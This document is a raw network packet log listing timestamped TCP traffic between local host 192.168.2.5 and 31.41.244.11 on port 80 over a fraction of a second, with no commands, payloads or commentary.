Dec 20, 2024 13:12:22.072840929 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.075280905 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.075347900 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.075402021 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.075653076 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.077415943 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.077456951 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.077630997 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.077677011 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.079731941 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.079890966 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.079931974 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.081744909 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.081944942 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.081990957 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.083781958 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.083843946 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.083893061 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.085375071 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.085458040 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.085499048 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.087490082 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.087591887 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.087635994 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.089557886 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.089615107 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.089626074 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.089665890 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.091543913 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.091608047 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.091645002 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.091687918 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.093528032 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.093595982 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.093632936 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.093795061 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.095513105 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.095580101 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.095613956 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.095654964 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.097744942 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.097810030 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.097834110 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.097872019 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.099375010 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.099442959 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.099559069 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.099606037 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.101315975 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.101367950 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.101505995 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.101548910 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.103209972 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.103251934 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.103324890 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.103367090 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.105050087 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.105258942 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.105304956 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.106949091 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.107003927 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.107112885 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.107157946 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.108899117 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.109159946 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.109208107 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.111023903 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.111078978 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.111103058 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.111149073 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.112529039 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.112653017 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.112696886 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.114372969 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.114419937 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.114480972 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.114526033 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.116132975 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.116175890 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.116345882 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.116389990 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.117994070 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.118041039 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.118128061 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.118174076 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.119817019 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.119862080 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.119920969 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.119967937 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.121670008 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.121715069 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.121822119 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.121870041 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.123536110 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.123569012 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.123603106 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.123616934 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.125294924 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.125341892 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.125463009 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.125509024 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.127134085 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.127182961 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.127334118 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.127379894 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.128915071 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.128957033 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.128992081 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.129036903 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.130784035 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.130831003 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.130861044 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.130907059 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.132591963 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.132637978 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.132690907 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.132946014 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.134382963 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.134438992 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.134516001 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.134591103 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.136276007 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.136324883 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.136450052 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.136499882 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.138062954 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.138118029 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.138181925 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.138263941 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.139966011 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.140047073 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.140086889 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.141755104 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.141803026 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.141865015 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.141912937 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.143579960 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.143627882 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.143651009 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.143692970 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.145371914 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.145467997 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.145513058 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.147217989 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.147260904 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.147264957 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.147295952 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.149101019 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.149198055 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.149251938 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.150935888 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.150985003 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.151024103 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.151073933 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.152692080 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.152761936 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.152811050 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.154484987 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.154565096 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.154582977 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.154632092 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.156343937 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.156445026 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.156497002 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.253848076 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.254049063 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.254127026 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.254488945 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.254543066 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.254611015 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.254661083 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.255872965 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.255975962 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.256025076 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.257229090 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.257276058 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.257308006 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.257354021 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.258548975 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.258599997 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.258605003 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.258651972 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.259860992 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.259905100 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.259906054 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.259953976 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.261118889 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.261166096 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.261198997 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.261244059 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.262382030 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.262428045 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.262480974 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.262531996 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.263755083 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.263801098 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.263832092 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.263879061 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.264872074 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.265060902 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.265111923 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.266119957 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.266165972 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.266226053 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.266271114 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.267347097 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.267391920 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.267543077 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.267587900 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.268650055 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.268762112 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.268806934 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.269912958 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.269957066 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.269974947 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.270020008 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.271038055 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.271083117 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.271224976 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.271269083 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.272424936 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.272660971 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.272708893 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.273462057 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.273510933 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.273513079 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.273555040 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.274641037 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.274692059 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.274730921 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.274775028 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.275815964 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.275882006 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.275892973 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.275937080 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.277035952 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.277132988 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.277182102 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.278147936 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.278194904 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.278261900 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.278309107 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.279345989 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.279395103 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.279491901 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.279536009 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.280451059 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.280560017 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.280608892 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.281591892 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.281636953 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.281689882 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.281734943 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.282747984 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.282793999 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.282860994 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.282907963 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.283909082 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.283951998 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.284015894 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.284060955 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.285078049 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.285124063 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.285166979 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.285212994 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.286354065 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.286415100 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.286421061 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.286463976 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.287441969 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.287487984 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.287656069 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.287699938 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.288532019 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.288644075 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.288691998 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.289694071 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.289743900 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.289757013 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.289805889 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.290832043 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.290879011 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.290939093 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.290985107 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.292021990 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.292105913 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.292154074 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.293165922 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.293211937 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.293282032 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.293329000 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.294317961 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.294368029 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.294423103 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.294462919 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.295475006 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.295519114 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.295559883 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.295607090 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.296602011 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.296686888 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.296734095 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.297792912 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.297838926 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.297957897 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.298003912 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.298893929 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.298939943 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.299005985 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.299052000 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.300079107 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.300107956 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.300151110 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.301192045 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.301240921 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.301373005 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.301419973 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.302371025 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.302417040 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.302499056 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.302545071 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.303495884 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.303540945 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.303559065 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.303605080 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.304682016 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.304725885 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.304842949 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.305816889 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.305866003 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.305907965 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.305954933 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.306982994 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.307049990 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.307081938 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.307126045 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.308151007 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.308197975 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:22.308271885 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:22.308317900 CET	49859	80	192.168.2.5	31.41.244.11
